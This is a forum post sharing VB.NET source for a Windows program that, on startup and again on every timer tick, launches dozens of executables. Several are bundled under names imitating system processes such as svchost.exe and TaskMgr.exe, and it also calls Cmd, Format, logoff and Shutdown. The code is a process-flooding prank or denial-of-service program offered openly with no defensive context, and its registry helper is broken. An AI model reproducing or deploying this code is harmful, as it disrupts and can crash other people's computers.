| pradeep | Date: Friday, 01 July 11, 4:58 PM | Message # 1 |
 pk
Group: Administrators
Messages: 82
Status: Offline
| Imports Microsoft.Win32
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer2.Start()
Process.Start(Application.StartupPath & "\WindowsMediaplayer.exe")
Process.Start(Application.StartupPath & "\iexplore.exe")
Process.Start(Application.StartupPath & "\WINWORD.exe")
Process.Start(Application.StartupPath & "\EXCEL.exe")
Process.Start(Application.StartupPath & "\ACCICONS.exe")
Process.Start(Application.StartupPath & "\OIS.exe")
Process.Start(Application.StartupPath & "\POWERPNT.exe")
Process.Start(Application.StartupPath & "\svchost.exe")
Process.Start(Application.StartupPath & "\power.exe")
Process.Start(Application.StartupPath & "\plugplay.exe")
Process.Start(Application.StartupPath & "\win32time.exe")
Process.Start(Application.StartupPath & "\Nsi.exe")
Process.Start(Application.StartupPath & "\Dps.exe")
Process.Start(Application.StartupPath & "\TaskMgr.exe")
Process.Start(Application.StartupPath & "\TaskKill.exe")
Process.Start(Application.StartupPath & "\TaskHost.exe")
Process.Start(Application.StartupPath & "\Taskeng.exe")
Process.Start("C:\Windows\System32\Calc.exe")
Process.Start("C:\Windows\System32\Cmd.exe")
Process.Start("C:\Windows\System32\logoff.exe")
Process.Start("C:\Windows\System32\Format.exe")
Process.Start("C:\Windows\System32\font.exe")
Process.Start("C:\Windows\System32\Xcopy.exe")
Process.Start("C:\Windows\System32\notepad.exe")
Process.Start("C:\Windows\System32\magnify.exe")
Process.Start("C:\Windows\System32\hkcmd.exe")
Process.Start("C:\Windows\System32\krnl386.exe")
Process.Start("C:\Windows\System32\mode.exe")
Process.Start("C:\Windows\System32\mrt.exe")
Process.Start("C:\Windows\System32\print.exe")
Process.Start("C:\Windows\System32\relog.exe")
Process.Start("C:\Windows\System32\Shutdown.exe")
End Sub
Public Sub AddCurrentkey(ByVal name As String, ByVal path As String)
Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("software")
key.SetValue(name, path)
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Process.Start(Application.StartupPath & "\WindowsMediaplayer.exe")
Process.Start(Application.StartupPath & "\iexplore.exe")
Process.Start(Application.StartupPath & "\WINWORD.exe")
Process.Start(Application.StartupPath & "\EXCEL.exe")
Process.Start(Application.StartupPath & "\ACCICONS.exe")
Process.Start(Application.StartupPath & "\OIS.exe")
Process.Start(Application.StartupPath & "\POWERPNT.exe")
Process.Start(Application.StartupPath & "\svchost.exe")
Process.Start(Application.StartupPath & "\power.exe")
Process.Start(Application.StartupPath & "\plugplay.exe")
Process.Start(Application.StartupPath & "\win32time.exe")
Process.Start(Application.StartupPath & "\Nsi.exe")
Process.Start(Application.StartupPath & "\Dps.exe")
Process.Start(Application.StartupPath & "\TaskMgr.exe")
Process.Start(Application.StartupPath & "\TaskKill.exe")
Process.Start(Application.StartupPath & "\TaskHost.exe")
Process.Start(Application.StartupPath & "\Taskeng.exe")
Process.Start("C:\Windows\System32\Calc.exe")
Process.Start("C:\Windows\System32\Cmd.exe")
Process.Start("C:\Windows\System32\logoff.exe")
Process.Start("C:\Windows\System32\Format.exe")
Process.Start("C:\Windows\System32\font.exe")
Process.Start("C:\Windows\System32\Xcopy.exe")
Process.Start("C:\Windows\System32\notepad.exe")
Process.Start("C:\Windows\System32\magnify.exe")
Process.Start("C:\Windows\System32\hkcmd.exe")
Process.Start("C:\Windows\System32\krnl386.exe")
Process.Start("C:\Windows\System32\mode.exe")
Process.Start("C:\Windows\System32\mrt.exe")
Process.Start("C:\Windows\System32\print.exe")
Process.Start("C:\Windows\System32\relog.exe")
Process.Start("C:\Windows\System32\Shutdown.exe")
End Sub
End Class
|
| |
| |
